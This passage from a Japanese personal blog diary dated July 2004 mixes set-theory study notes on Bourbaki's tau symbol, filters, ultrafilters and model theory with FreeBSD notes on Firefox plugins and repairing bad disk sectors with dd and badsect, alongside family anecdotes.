あたりだと思います。は「否定・または」の意味に使用され、この部分に関しては普通の命題論理とまったく同じです。ただしポーランド記法なので通常と書くところを、と記述するわけです。独特なのは述語論理の部分でして、記号 □ は束縛変数を表す無名文字と解釈され τ 記号と「鎖」で結びつけた関連により、「存在する対象一般」を表す「もの」を表現するのに使用されます。 R(x) を関係式とするとき、省略記法は次ように記述された項を表す記号列です。
(a) 記号列 τR(x) を作り τ と「R(x) に現れる文字 x すべて」とを「鎖」で結びつける
(b) (a) で生成した記号列に現れる x を全て □ で置き換える
例えば τ_x∈xy は
```
 |~~~|
τ∈□y
```
なる記号列なのです(上の鎖がとても書きにくいです...)。の解釈は「R(x) を満たす x が存在する場合その任意の一つを表す対象。そうでない場合不定の対象」です。例えば τ_x∈xy は y が空集合でない場合「y の要素の任意の一つ」を表し、y が空集合の場合「不定な項」を表します。 τ は関係を対象化する強力な記号です。存在記号は省略記号として導入されはそのものであると定義されるのです。また実際には記述が進むにつれポーランド方式は使用されなくなり、種々の省略記法を用いた「中記記法」が採用されるようになり、通常の一階述語論理の体系と同等の結果が記述されます。 τ 記号の使用は集合論で驚くべき結果を導きます。
[集合論]
論理体系は見掛けが奇妙な割りには内容は比較的常識的なのですが、集合論は内容が奇妙です。集合論の特徴としては、
(a) 存在公理・外延性の公理・対の公理は存在する。
(b) 「分出と合併のシェーマ」(後述)なる公理で「内包の公理」「合併の公理」「置換公理」を一気に扱う。この公理は最初とても分かりにくい。その他常識的な「巾集合の公理」と「無限公理」があるが「基礎の公理」はない。
(c) 「選択公理」がない(というか必要ない)。
(d) 順序数への言及は全くない。
(e) 集合となりえない対象を定義するとき τ 記号が活躍する。
(f) 厳密ではあるが、内容としては集合・写像の基本演算・基数・Zorn の補題・順極限と逆極限等の初歩的な部分にとどまる。集合論に関する超数学的な考察は全くない。
あたりでしょうか。まず分出と合併のシェーマを引用しますと、
R を関係式(通常の用語では論理式) x,y を異なる文字 X,Y を x,y と異なりさらに R に現れない文字(変数)とするとき
$\forall~y\exist~X\forall~x(R~\rightarrow~x~\in~X)~~\rightarrow~\forall~Y~({\rm~Coll}_x(\exist~y(y~\in~Y~\wedge~R)))~$
ここで ${\rm~Coll_x}(R)~$ は $\exist~y\forall~x(x~\in~y~\leftrightarrow~R)~$ のこと。ただし y は R に現れないものとする。
うーん最初は分かり難いですね(^^。ちなみにの意味は「R を x に関して外延化して集合を作ってよろしい」という意味です。肝心のシェーマの本体の意味は大雑把に
個別の y に対して R(x,y) が x に対して外延化可能な場合、任意の集合 Y に対して Y の要素と R 関係にある x 全体も外延化可能。
ということなのですが、公理の内容を考えると明らかな様に、これから内包の公理と合併の公理を証明することができます。また置換公理も証明されています(2章1節 C53)。
次に選択公理に関してですが、これは τ 記号により論理体系に埋め込まれています。即ち、
f を X から Y への関数として、任意の x∈X に対して $f(x)\neq\emptyset~$ の場合
$g(x)~=~\tau_{y}(y~\in~f(x))~$
が選択関数になるということなのです。すなわちブルバキの論理体系上の集合論では「選択公理」が他の公理と独立か、等の議論は無意味なのです。このあたりが順序数を無視した内容とともに、特に基礎論関係の研究者から批判が多かった部分であると思うのですが、個人的には便利さを別としても、特に一対一関数と上への関数の整然とした双対性を保証するために、集合論を土台とした数学において選択公理が必須であるとは考えています。
その他、選択公理が同値類からの要素の選別可能性を主張していることを考えれば明らかとは言えるのですが、τ 記号はなかなか強力な作用を持っていまして、例えば(順序数なしでの)基数の定義等に使用されます。即ち、
「X から Y への一対一かつ上への関数が存在する」という関係を X～Y と書くことにすると X の基数の定義は τ_Y(X～Y)
などというほとんど反則ではないかという記述も可能となるのです。またはの省略記法として導入されるのです。
こうして書いてみると、内容の選別は後の巻で使用する部分に限定という割りきりで、厳密性だけは保証しようという意図はともかくとして、やはりブルバキの集合論を特異なものとしているのは τ 記号の使用かなと思うのであります。

2004年7月23日(金)

夏休み
やけに子供達がのんびりしてると思ったら、出張中に夏休みに入っていたのですねー。私は 8月中は忙しくて休めそうにありません。なので 9月の終り頃とる予定 (どうして？) 。それから今日は二女の 17歳の誕生日。定時に帰らなくっちゃ(^^。
firefox 設定覚え書き
実は最近ブラウザとして二年間程使い続けた mozilla とさよならしまして、 firefox に切り替えたのです。理由としては、フリーソフトなので仕方がないのですが、mozilla のフォントの見栄えがバージョンを変えるたびに良くなったり極端に悪くなったりしまして、先日 X24 に FreeBSD を新規インストールして mozilla を ports から入れたら最悪の方にあたってしまったのですねー(^^。さらに私はフォントのことが全然分からないので、デフォルトの状態でよろしくない場合、ほとんど改善不可能だったりするのです。というわけで、試しに前はフォントの見栄えが悪かった firefox をインストールしたところ、
とっても綺麗
といううれしい状態で、しかも mozilla より軽快で機能も豊富なのです。ただしちょっと困ったのがインストールした状態では java と flash が動作しなかったのでここに覚え書きです。
[java を動かす方法]
- /usr/ports/java/jdk14 をインストールする。これをインストールするためには jdk13 等が必要で、いずれのイメージも SUN から手作業で、さらにどう考えてもお互いに無駄なるユーザー登録をして持って来る必要があります。その他 BSD 用のパッチ等も SUN から持って来る必要がありますが、こちらはユーザー登録の必要はありません。
- そのままでは firefox が
  /usr/local/diablo-jdk1.3.1/jre/plugin/i386/ns600/libjavaplugin_oji
  なるものを見にいってしまい、これは古すぎてうまく動かないので、
  # ln -fs /usr/local/jdk1.4.2/jre/plugin/i386/ns610/libjavaplugin_oji.so \
  /usr/X11R6/lib/browser_plugins/libjavaplugin_oji.so
  なるおまじないで、firefox が jdk1.4.2 の方を見に行くようにします。
[flash-plugin を動かす方法]
- Linux emulation の環境を整備する。
- /etc/libmap.conf がない状態で /usr/ports/www/flashpluginwrapper をインストールする。ある状態でインストールすると私の所ではなぜか動かなくなりました。
- /etc/libmap.conf に次のように書き込む
```
# Flash6 with Mozilla/Firebird/Galeon/Epiphany
[/usr/local/lib/linux-flashplugin6/libflashplayer.so]
libpthread.so.0                 pluginwrapper/flash6.so
libdl.so.2                      pluginwrapper/flash6.so
libz.so.1                       libz.so.2
libstdc++-libc6.2-2.so.3        libstdc++.so.3
libm.so.6                       libm.so.2
libc.so.6                       pluginwrapper/flash6.so
```
その他良く分からないのですが、java3d とかを動かす方法もあるようですが、どうせ使わないので設定しません。いずれにしてもとってもとっても面倒ではあったのですが、上記作業により mozilla 時代より軽快で気分が良いブラウザ環境が整ったのであります。うーん満足(^^。

2004年7月22日(木)

やっと帰宅
ひとまず一段落ということで本日は帰宅できそうです。まあ泊まる予定での出張ですと 3日位たいしたことがないのですが、準備していかないとなんのかんので疲れますな。さらにお金を一万円位しかもってかなかったので、宿代とか同行の人に借金したりすることになってしまいました。
余談ですが FreeBSD/X24/AH-K3001V はメールの送受信、w3m で画像なしの閲覧程度だとなんとか大丈夫そうで、結構便利に使ったのでした。それから USB から充電できるのはこういうときとっても便利なのです。ただ問題は X24 のバッテリーでして、行くときの電車がすいてたのでちょっと使ってみたのですが、USB に AH-K3001V を繋いでいた影響もあるのかも知れませんが、
電池が 30分しか持ちません(-_-)
うーむこれは完全に寿命ですな。とはいってもたかが電池に二万円近く出費する気にもならず、まあ幸い移動中に WWW をうろつくのは AH-K30011V を使えば良い、ということでこれは放置するしかありませんな。
[おまけ]

禾生駅(富士急行線)
線路

駅表示
この電車で帰った

2004年7月21日(水)

続・出張
実はもう一晩泊まりだったりします(^^;。
でも先が見えてきた。

2004年7月20日(火)

出張
今日は山梨県禾生(かせい)に出張。今仕事中なのですが(おい)いつ落ちるかわからない FreeBSD/X24/AH-K3001V でアップロードできるかな(^^。
結局(予想通り)泊まることになりました。

2004年7月19日(月)

超フィルターと κ-完備フィルター
[集合論雑記目次]
半順序集合 ${\bf~P}~$ 上のフィルター $F~$ が ${\bf~P}~$ の部分集合の包含関係に関して極大ののとき超フィルター(ultra filter)と呼びます。Zorn の補題により任意のフィルター $F~$ に対してこれを含む超フィルターの存在が証明できます。半順序集合 ${\bf~P}~$ が次の条件を満たすとき、超フィルターの分かりやすい特徴付けが得られます。
[半順序に関する条件]
${{\bf~P}\neq\emptyset}~$ で任意の $p\in{\bf~P}~$ に対し次の条件を満たす ${q\in{\bf~P}}~$ が存在する。
$(a)\,p~\bot~q\cr~~(b)\,\forall~x\in~{\bf~P}(x~\bot~q~\rightarrow~x~\le~p)\cr~~(c)\,\forall~x\in~{\bf~P}(x~\bot~p~\rightarrow~x~\le~q)\cr~$
この場合 $q~$ は $p~$ に対して一意に定まることは容易に分かります。この $q~$ を便宜上 $-p~$ と記述すると
${\bf~P}~$ 上のフィルター $F~$ がが超フィルターである必要十分条件は、
$\forall~p\in~{\bf~P}(p\in~F~\,\vee\,~-p\in~F)~$
[証明] F が超フィルターであるとして ${p\not\in~F,-p\not\in~F}~$ と仮定する。ここで $G={F}\cup\{q\in{\bf~P}|p\le~q\}~$ を考えると $G~$ はフィルターである。なぜならば ${r~\in~F},~{r~\bot~p}~$ なる要素が存在したと仮定すると $r\le{-p}~$ が成立し $-p~\in~F~$ となり矛盾。これは $F~$ の極大性に反する。逆に任意の $p~\in{\bf~P}~$ に対し $p~\in~F,\,-p~\in~F~$ が成立すると仮定し $F\subset{G}\,F\neq~G~$ なるフィルター $G~$ が存在するとき $r~\in~G~-~F~$ を固定します。このとき仮定により $-r~\in~F~$ が成立し従って $-r~\in~G~$ となり矛盾。この命題を集合 $X~$ の巾集合の包含関係の順序に適用すると
集合 $X~$ 上のフィルター $F~$ が超フィルターである条件は $\forall~Y~(Y~\subset~X\,~\rightarrow\,~(Y\in~F~\,\vee~\,X-Y~\in~F))~$

[κ-完備フィルター]
$\kappa~$ を基数とし ${\bf~P}~$ 上のフィルター $F~$ が次の条件を満たすとき $F~$ を κ-完備フィルター(κ-complete filter) と呼びます。
$\lambda~<~\kappa~$ に対する $F~$ の任意の要素の族 $(p_\alpha)_{\alpha\in\lambda}~$ に対して $r~\in~F~$ が存在して $\forall~\alpha\in\lambda(r~\le~p_\alpha)~$
集合上のフィルターの場合次の条件となります。
$(Y_\alpha)_{\alpha~\in~\lambda}\,\,\,(\lambda<\kappa)~$ を $F~$ の要素の族とするとき $\bigcap_{\alpha~\in~\lambda}Y_{\alpha}\,\in~F~$
通常のフィルターは ω-complete です。また κ が正則(regular) な基数の場合その上に自明でない κ-complete filter が存在します。例えば $F=\{x:\,|\kappa-x|~<~\kappa\}~$ を考え $\lambda<\kappa~$ に対する $F~$ の列 $(x_\zeta)_{\zeta<\lambda}~$ を考えると $\kappa~-~\bigcap_{\zeta<\lambda}x_\zeta~\,=~\,~~\bigcup_{\zeta<\lambda}{(\kappa~-~x_\zeta)}~$ の基数は κ の正則性により κ より小さくなるので $F~$ は自明でない κ-complete filter となります。また κ 上の closed unbounded filter なるものも κ-complete filter となります (次回以降に証明)。κ 上の自明でない κ-complete 超フィルターが存在するかどうかは ZFC から証明できません！！。
極悪日記
いやいやそれほど悪いことを書いているとは思わないのですが、お客様と自分に対して負荷をかけるという点で、日記の極悪化が急速に進行している気がするのです。もともとこの日記の特徴はどんなブラウザでも見れて、さらに軽快というポリシー(というか手抜き)であったのですが、最近は写真を張り付けたり、さらには数式を画像化して張り付けたりということで、写真はともかくとして本来文字情報である数式まで画像にしてしまったのは良くないことであるのは分かっているのです。ただし数学屋さんは HTML(というか普通の文章)ではあまり使われなく表現が難しい文字が大好きで、さらに集合論の文献を読むといわゆる「普通の数学」よりさらに変わった文字が多い様な気がします。というわけで現状の HTML での数式表現の貧弱さを考えると、これも当面いたしかたがないかと考えています。もう一つの問題はサーバーのプロセス実行の方でありまして、たとえば今現在この日記(2004年7月)に遊びに来てくださると、なんと数式表示 CGI が 88個動作したりします。さらに CGI の中では(sh をいれると)6個のプロセスが動作しまして、
一回のアクセスで一気に528個のプロセスが動作する(^^;
という状態なのです。さらにアクセスカウンターを表示させるために httpd-access.log を全部読み込むという負荷もかかったりします(CGI のログが多くなり http-access.log も膨張傾向にあるのです)。まあほとんどのプロセスイメージがキャッシュに入っているのと、fork の書き込み時コピーを考えると思った程の負荷ではないと思うのですが、なんともはや最近の安物ノートサーバーの性能もたいしたもんだと逆に感心したりするのです。幸か不幸か回線がのろいのと(近々速くするという人のうわさも^^)、お客さんの数もそんなに多いわけではなく、さらに今後そんなに増えるとも思えないので、CPU の負荷に関して将来問題が発生する可能性は少ないのですが、もしサーバーの負荷等の問題でお客さまにストレスをかけている場合があるとすると、これはとても申し訳けなく、ひらにひらにご容赦頂きたいと思っているのであります。

2004年7月18日(日)

R30 ハードディスク復旧大作戦
昨日偶然不良セクターがあることが分かったサーバーさまの R30 ですが、せっかく先日 OS をアップデートしたばかりなので、ハードディスクの交換もしたくないし面倒ということで badsect コマンドによる手作業の修復です。badsect コマンドは不良セクター番号を引数で与えると、そのセクターをファイルに変換してその場所に次の書き込みが起きないようにする、という非常に分かりやすいがその場しのぎの解決方法を提供するのですが、使い方にはいろいろ注意が必要そうです。まずは不良セクター番号の調査ですが、これには dd コマンドを使用します。不良が発生したファイルシステムのデバイスが /dev/ad0s1g と仮定すると、
# dd if=/dev/rad0s1g of=/dev/null
このコマンドで 20G バイト程度のファイルシステムを検査すると非常に時間がかかるのですが、数時間後にめでたく(^^;
/kernel: ad0s1g: hard error reading fsbn 52636016 (ad0s1 bn 52636016; cn 3481 tn 52 sn 20) status=59 error=40
なるメッセージが。これで問題の開始セクター番号(52636016)が分かったので (これを通知して dd はお亡くなりになる)、次は C のプログラムを書いてどのあたりまで問題があるか調査です。
```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define START (off_t)(52636016LL*512) /* 512 は 1セクターのバイト数 */

int main(int argc,char **argv)
{
 int f;
 char buf[512];
 off_t offset=atol(argv[1]);

 if ((f=open("/dev/rad0s1g",O_RDONLY))==-1) {
 perror("/dev/rad0s1g");
 return(1);
 }
 if (lseek(f,START+offset*512,0)==-1L) {
 perror("lseek");
 return(1);
 }
 /* 必要があればループにする */
 read(f,buf,sizeof(buf)); /* 失敗すると syslog にメッセージが出る */
 return(0);
}
```
このプログラムに 0,1,2,3,... と引数を与えどのセクターまでエラーを引きずるかを調べまたところ、52636242 までいくつかだめセクターが存在し、その後は大丈夫そうです。すなわち若干の余裕をみて 52636000 から 52636255 位までの 256 個を退避すれば大丈夫そうです。というわけで、手順のみを記述しますと、
(1) Single user mode でブートする
(2) # mount /dev/ad0s1g /mnt
(3) # cd /mnt
(4) # mkdir BAD
(5) # /sbin/badsect ./BAD 52636000 52636004 ... 52636252
(6) # cd /root && umount /mnt
(7) # fsck /dev/rad0s1g ...必要な間繰り返し
まず注意ですが、私の環境ではファイルシステムのブロック長が 16384バイトでフラグメントが 2048 バイト。小さいファイルはフラグメント単位に作成されるので、(5) は 2048/512 ということで 4つおきにパラメターを指定します(もちろん最初は全部指定してはまったのでした^^)。またパラメーターが多いので、事前に awk 等でパラメーターリストを作成したシェルを用意しておくと便利です。fsck は大量に文句を言いますが、BAD のファイルを消去するか、という質問には NO と答えます。また「BAD 内のファイルは 0 バイトにアロケートされているが正しくは 2048 バイト(4 セクター)であるので修復するか」と聞かれるのでこれには YES と答えます。また今回の様に、不良セクターを含んだ普通のファイルが存在する場合、それを削除するかも聞いて来ますので、それには YES と答えます。その後何回か fsck を行い、とにかく文句が出なくなるまで継続します。というわけで /usr/BAD 内にめでたく 2048 バイトのファイルが 64 個出来て fsck も文句を言わなくなったので、おそらくこれでしばらく大丈夫だと思うのですが、今後あたかも癌のごとく不良セクターが増殖するようでしたら、その場合はこちらのページとそのリンクを参考にさせて頂いて、ディスクを取り換えるしかありませんな。
dd で raw デバイスを全部読み込んでみるのは、運用しながらでも問題ないので、定期的に行うのが良いかもしれません。
(関連項目) 大成功した不良セクター修復
半順序とフィルター
[集合論雑記目次]
半順序の定義は前に書きましたがここで再掲します。
集合 X 上の二項関係 $\le~$ が次の条件を満たすとき半順序という。
$(a)\,~\forall{x\in~X}(x~\le~x)\cr~~(b)\,~\forall{x,y,z\in~X}(x~\le~y~\,\wedge~y\,\le~z~\rightarrow~x~\le~z)\cr~~(c)\,~\forall{x,y\in~X}(x~\le~y~\,\wedge~y\,\le~x~\rightarrow~x~=~y)~$
(c) の条件を要求しない場合もありますが、この場合次の同値関係
$x~\le~y~\,\wedge\,~y~\le~x~$
による商を考えると (c) の条件が満たされることが分かります。今後 (c) の条件が満たされない「半順序」を考える場合その時点で明示することとします。ここで半順序に関して今後使用されるいくつかの言葉を列挙します。
(a) x,y が両立する(compatible)とは $\exist~z\in~X(z~\le~x~\,\wedge~z\,\le~y)~$
(b) X の部分集合 Y が鎖(chain) であるとは $\forall~y,z\in~Y(y~\le~z~\,\vee\,~z~\le~y)~$ であること。要するに Y が X の全順序部分集合であること。
(c) x,y が compatible でない(incompatible)とき $x~\bot~y~$ と記す。
(d) X の部分集合 Y が反鎖(antichain)であるとは $\forall~y,z\in~Y(y~\neq~z~\rightarrow~y~\bot~z)~$ を満たすこと。
(e) X が c.c.c(countable chain condition) を満たすとは、X の任意の反鎖が可算であること。
さらに半順序の重要な例として「木(tree)」というものがあります。
[tree の定義]
半順序集合 T が次の条件を満たす時「木(tree)」であると言う。
任意の $x~\in~T~$ に対し $\{y~\in~T~|~y~<~x\}~$ は整列集合。
$\{y~\in~T~|~y~<~x\}~$ は整列集合なので順序型をもちます。それを x の高さと言い ${\rm~ht}(x,T)~$ と記述します。また文脈上明らかな場合は、 ${\rm~ht}(x)~$ と記述する場合もあります。さていよいよ半順序集合上のフィルター(filter)の定義です。
[フィルターの定義]
$P~$ を半順序集合とします。 $F~\subset~P~$ がフィルターであるとは次の条件を満たすこと。
$(a)\,~F~\neq~P\cr~~(b)\,~\forall~p\in~F\forall~q\in~P(p~\le~q~\rightarrow~q\in~F)\cr~~(c)\,~\forall~p,q\in~F\exist~r\in~F(r~\le~p~\,\wedge\,~r~\le~q)\cr~$
任意の $p\in~{\bf~P}~$ に対し $\{q\in~{\bf~P}|p~\le~q\}~$ はフィルターになることが分かります。これを自明なフィルターと呼びます。また最も重要な例として集合 X の巾集合を考えると $\wp(X)~$ の部分集合 F が $\wp(X)~$ の半順序 $\subset~$ に関してフィルターになるとき(言語の濫用で) F を X 上のフィルターと呼びます(歴史的にはこちらが先だと思う)。具体的に書くと、
$(a)\,~\emptyset~\not\in~F\cr~~(b)\,~\forall~x~\in~F~\forall~y\in~X(x~\subset~y~\rightarrow~y~\in~F)\cr~~(c)\,~\forall~x,y~\in~F(x~\cap~y~\in~F)~$
(b) の条件は全然本質的ではありません。議論を透明化するための方便とでも言いますか。例えば位相空間での「近傍」の定義で本来近傍たるもの、もちろん小さい部分が重要なのですが、「近傍を含む集合は近傍である」という規則を追加し議論を簡単にしているのと同様のものなのです。今回は定義ばかりになってしまいました。次回は超フィルター(ultra filter)の概念に言及する予定です。

2004年7月17日(土)

X24 ハードディスク交換
昨日から X24 のハードディスクを 80G のに交換していまして、FreeBSD 自体のインストールは問題なく終了したのですが、なんと作業中に R30 からバックアップしたファイルを復元しようとしたら、
R30 にバックアップした tar.gz ファイルを読むときに(R30 側で)ファイル I/O エラーになります(-_-)
うーむこれはなんという...。幸い tar.gz ファイルの最後の方でエラーになるので、前のディスクを持ち出すほどのこともなかったのですが、今後 R30 側が信用できない状態になってしまったようです。エラーになったのは /home/ 以下のバックアップである home.tar.gz なるファイルの最後の方でして、その後にバックアップしたファイルには問題なさそうなので、当面このファイルを 消さなければ大丈夫のような気がするのですが、いやはや近いうちに今まで使っていた X24 のディスクを R30 の方に入れ換える必要がありそうなのですが、R30 のディスク交換は難しそうなので果してできることやら。 badsect コマンドで不良セクターを FIX できれば良いのですが、いまいち自信がなかったりします。余談ですが X24 や R30 のディスクの容量を 40G と勘違いしていまして(本当は 30G)、それならば新しいのは 60G でも良かったのでは、と後悔している自分が情けないのですが、音が静かなのはよろしい。

2004年7月16日(金)

さかさ朝顔壊滅(^^;
ひっくりかえして育てていた朝顔ですが、なんと昨日の昼間鉢を支えていたガムテープが耐えきれず、ついに壊滅したそうな(^^。仕方がないので奥様が残骸を拾って普通に植え直したのですが(その方が良かった？)、まだ夏休み前だというのに実験は失敗に終ったのであります。ところで今までの経過なのですが、いくら逆さまにしても朝顔のつるは上に伸びようとして、それをまたまた奥様が無理矢理棒に巻き付けて(おい^^)、それでも次の日にはまたまた巻いたのをほどいて上に向かって育とうとする、という壮絶な戦いが繰り広げられたのですが、ここに至りてついに戦いのの幕は閉じられたのであります。ちなみに無理矢理巻き付けるといっても、巻き付けやすい回転の方向はあるようで、やはり伸びる方向に向かって右巻きになるというのが正解でした(^^。
余談ですが教えて下さった方によりますと、北半球と南半球で巻き付く向きが逆、というのはエイプリルフールねただそうな...。

2004年7月15日(木)

Windows XP 再注文
というわけで本日 IBM に電話をしたところ、すぐに速達で送ってくれることになったのでした。注文書でなく現物だとなおよいのですがねえ。ちなみに 80G のディスクは昨日届いていまして、とりあえずあさってあたり FreeBSD を試しインストールしようと思っているのです。

2004年7月14日(水)

教えてもらった透明 PNG
最近 mimeTeX を使用して数式を書く場合が増えてきたのですが、PNG の透明化の方法が分からなくて、この日記ページの背景の色がピンクっぽいということもあり、いまいち見栄えが悪い状態だったのです。例えばこんな感じ。
${\bf~P}$ を半順序集合とし $\kappa$ を基数とする。 $({\cal~D}_\alpha)_{\alpha~\in~\kappa}$ を ${\bf~P}$ の稠密(dense)部分集合の列とするとき ${\bf~P}$ 上のフィルター $F$ で
${\forall~{\alpha\in\kappa}(F~\cap~{\cal~D}_\alpha~\neq~\emptyset)}$
なるものが存在する。
うーんかっこわるいですねー(^^。なんとかならないものかな～、と思いつつ放置していたら、うれしいことにたかたにさんが教えて下さりまして、どうも PNG を透明化する方法があるようなのです。で、さっそくまねをして作った CGI の出力が下のもの。
${\bf~P}~$ を半順序集合とし $\kappa~$ を基数とする。 $({\cal~D}_\alpha)_{\alpha~\in~\kappa}~$ を ${\bf~P}~$ の稠密(dense)部分集合の列とするとき ${\bf~P}~$ 上のフィルター $F~$ で

$\forall~{\alpha\in\kappa}(F~\cap~{\cal~D}_\alpha~\neq~\emptyset)~$
なるものが存在する。
ふむふむすごくかっこよくなりました。まあ日本語の間にある数式の上下がもう少しそろうとなお良いのですが、このあたりはオリジナルの TeX の様な見栄えの良さは到底望めず当面がまんするしかなさそうです。MathML が一般化して TeX 記述によるプリプロセッサーが充実すれば一番良いと思うのですが...。いずれにしても以前に比してはるかに良くなりました。どうもありがとうございます(^^。
img src ～ align="middle" としたら文字と png の配置が良い感じになりました。
ちっとも来ない XP 注文書
やっとこさ(なまってますな)昨日猫森の振り込み用紙は来たのですが、 IBM に頼んだはずの Windows XP リカバリー CD の注文書が来ません(^^;。いやはや 80G のハードディスクは今日か明日届くと連絡があったのに、天下の IBM が何やってるんだか。明日の昼休みにでももう一度連絡するしかなさそうですな。

2004年7月13日(火)

やっと届いた猫森振り込み用紙
こんどの猫森集会の FC 先行予約はネットで行いまして、予約自体にも色々紆余曲折があったのですが、とにもかくにも予約できまして、それによりますと入金用のコンビニ振り込み用紙が届くということだったのです。ところが昨日になってもまだ届かず、さすがに今日届いていなかったら(〆切は明後日)、銀行振り込みで予約しようと思っていたのですが、おうちに帰ったら届いていました(^^。ということでさっき近くのコンビニに振り込んできまして、銀行振り込みがちょいと面倒、ということでネット予約→コンビニ振り込みにしたのですが、来年からはまた銀行振り込みにしたほうが精神衛生上よろしそうです。
アクセスカウンタ状況
丁度一週間前から開始した日記のアクセスカウンタ表示ですが、日々の状況としてはこんな風でして、

2004/07/06(火) 186

2004/07/07(水) 155

2004/07/08(木) 160

2004/07/09(金) 154

2004/07/10(土) 123

2004/07/11(日) 106

2004/07/12(月) 165

合計/平均 1049/149.9

土日はアクセスが少ないのですが平均すると一日あたり 150 弱位で、一週間で丁度 1000アクセスという感じです。おうちの日記の場合内容はともかくとして、更新が比較的まめなので、量が増えれば(はずれ)検索のヒット率も増えるであろう、ということでこの程度のペースは今後も維持できるとは思うのですが、最初に書き始めた頃を思い出すに夢のようなアクセス件数ですな(^^。

2004年7月12日(月)

知らなかった AH-K3001V の使い方
ふむふむ、こんな便利な使い方があったのですか。全然知りませんでした。さっそく参考にさせて頂きます。そんれにしてもこの機種に関しては私の方が大先輩(^^であるはずなのに、いつものとごく完全に追い抜かれていますな(^^。

2004年7月11日(日)

参議院選挙
行ってきました。でも選挙区で投票したい人が...。白票というのもなんなので、まあ悪くはないであろう(どうせ当選しないし)という人に入れましたが、候補者全体の問題ではあるとのですが、特に小数野党の人材不足は深刻であると思うのです。それにしても比例区は制度上の憲法違反。選挙区は格差が５倍以上の違憲選挙とは、最高裁の裁判官は例えば自分の給与が５分の１に減ったらどうなるかということを想像する能力もないのかな。個人的には一票の格差は多くとも 1.01 倍以内におさえるべきであると思うし、例えば全国を 10,000程度(必要があればもっと多く)のメッシュに分割して、一つの選挙区に対し順番にメッシュを(複数)割り当てれば簡単に出来ると思うのだが。

2004年7月10日(土)

バネの謎
モカちゃんが比例の勉強をしてたら、「バネの伸びは引っ張る力に比例する...」と教科書に書いてあったのです。それを聞いた私のつっこみは、
伸びきった場合を考えれば比例するわけないじゃん(^^
というあたりまえのことなのですが、考えてみると普通の状況では大体比例すると考して良いのでしょうが、伸びきる直前の挙動は全く不明ですな。ということでモカちゃんの夏休みの自由研究ねたができたかな～、と思ったのですが、なんと奥様の考えはもっと過激でして、
夏休み自由研究は巻きもの系だね(^^;
ということなのです。いやいや朝顔のつるをバネにして実験をするような、そんな残酷なことは絶対にいたしませんのでご安心をほどを(^^。

2004年7月9日(金)

構造とモデル
[集合論雑記目次]
言語と理論の変数が動く対象領域を明確化し、述語記号・関数記号を外延化し、さらにその外延において具体的な真偽を考えたもの(だと思う)をそれぞれ「構造」「モデル」と言います。
[構造]
言語 ${\cal~L}~$ を固定します。「 ${\cal~L}~$ -構造( ${\cal~L}~$ -structure)」は次の要素からなります。
(a) 集合 A. これを ${\cal~L}~$ -構造の土台となる集合と呼びます
(b) ${\cal~L}~$ におけるおのおのの定数と一対一に対応する A の要素。定数 c に対応する A の要素を c^A と記述します
(c) ${\cal~L}~$ におけるおのおのの n 変数関数記号と一対一に対応する Aⁿ から A への関数。関数記号 f に対応する関数を f^A と記述します。
(d) ${\cal~L}~$ におけるおのおの n 変数述語記号と一対一に対応する Aⁿ の部分集合すなわち n 項関係。述語記号 φ に対応する関係を φ^A と記述します。
このように定義された $~~~{\cal~~L}~~$ 構造を $~~~{\cal~A}~=~(A,(f^A,...),(\phi^A,...),(c^A,...))~$ と記述します。さて A の要素の可算列を a=(a_n) として $~~~{\cal~~L}~~$ の項と論理式の a における「解釈」 $~~~{\cal~I}~$ を次のように帰納的に定義します。ここで x という記号は $~~~~{\cal~L}~$ の自由変数 x=(x_n),..., (これは固定されていた) の列として、項 t を t[x] と記述して t[x] に現われるおのおのの自由変数 x_n に a_n を代入したものを t[a] と記述します。
[項の解釈]
項の解釈は A の要素です。
(a) ${\cal~L}~$ の変数 x_n に対しその a による解釈は a_n
(b) ${\cal~L}~$ の定数 c の a による解釈は c^A
(c) f を ${\cal~L}~~$ の関数記号、t₀[x],...,t_n-1[x] を ${\cal~L}~~$ の項とするとき f(t₀[x],...,t_n-1[x]) の a による解釈は f^A(t₀[a],...,t_n-1[a])
項 t を a で解釈した A の要素を t^A[a] と記述します。次に論理式 φ が(具体的な A の要素列) a において真であるという解釈を帰納的に定義します。このことを ${\cal~A}|=\phi[a]~$ と表し「a は A で φ を満足する」と称します。
[論理式の解釈]
論理式の解釈は A における関係の真偽です。
(a) ψ を言語 ${\cal~A}~$ の n 変数述語記号として t₀[x],...,t_n-1[x] を項とします。φ を ψ(t₀,...,t_n-1) の形の論理式とするとき、 (t₀[a],...,t_n-1[a])∈ψ^A のときに限って ${\cal~A}|=\phi[a]~$
(b) ${\cal~A}|=\phi[a]~$ または ${\cal~A}|=\psi[a]~$ が成立するときに限って ${\cal~A}|=(\phi\vee\psi)[a]~$
(c) ${\cal~A}|=\phi[a]~$ が成立しないときに限って ${\cal~A}|=(\neg\phi)[a]~$
(d) すべての b∈Aに対し ${\cal~A}|=\phi[b,a]~$ のとき ${\cal~A}|=\forall{x}(\phi(x))[a]~$
特に φ が自由変数を含まない場合、上の定義は a に依存しません。その場合「A は φ を満足する」「φ は A で真である」等の言葉を使い ${\cal~A}|=\phi~$ と記述します。
[モデル]
言語 ${\cal~L}~$ の構造を ${\cal~A}~$ として、 ${\cal~L}~$ の公理系(理論)を M とします。M の各論理式 φ に対して ${\cal~A}|=\phi~$ が成り立つとき ${\cal~A}~$ を M のモデルと言い ${\cal~A}|=M~~$ と記述します。
[構造の順同型・同型と部分モデル]

${\cal~A}=\{A,\phi^A,..,f^A,...,c^A,...\},~~{\cal~B}=\{B,\phi^B,..,f^B,...,c^B,...\}~$ を同一の言語を土台とする二つの構造とします。A から B への関数 u が A 任意の列 a=(a₀,...) に対して次の条件を満たすとき、
$(a)\,~u(c^A)~=~c^B\cr~~(b)\,~u(f^A(a))~=~f^B(u[a])\cr~~(c)\,~{\cal~A}~|=~\phi^A[a]~\,\,{\rm~if~and~only~if}\,\,~{\cal~B}~|=~~\phi^B[u(a)]~$
ここで u[a] は (u(a₀),u(a₁),...) の略記です。 u を構造 ${\cal~A}~$ から ${\cal~B}~$ への順同型と言います。特にこのような u が存在してかつ一対一上への関数の場合、 ${\cal~A}~$ と ${\cal~B}~$ は同型であるといいます。
特に A⊂B で次の条件を満たすとき、 ${\cal~A}~$ は ${\cal~B}~$ への部分モデル(submodel)であると言います。
(a) ${\cal~L}~$ の定数 c に対して c^B は A は属する
(b) ${\cal~L}~$ の関数記号 f に対して f^A は f^B を Aⁿ に制限したものである
(c) ${\cal~L}~$ の論理述語 φ に対して φ^A = φ^B∩Aⁿ
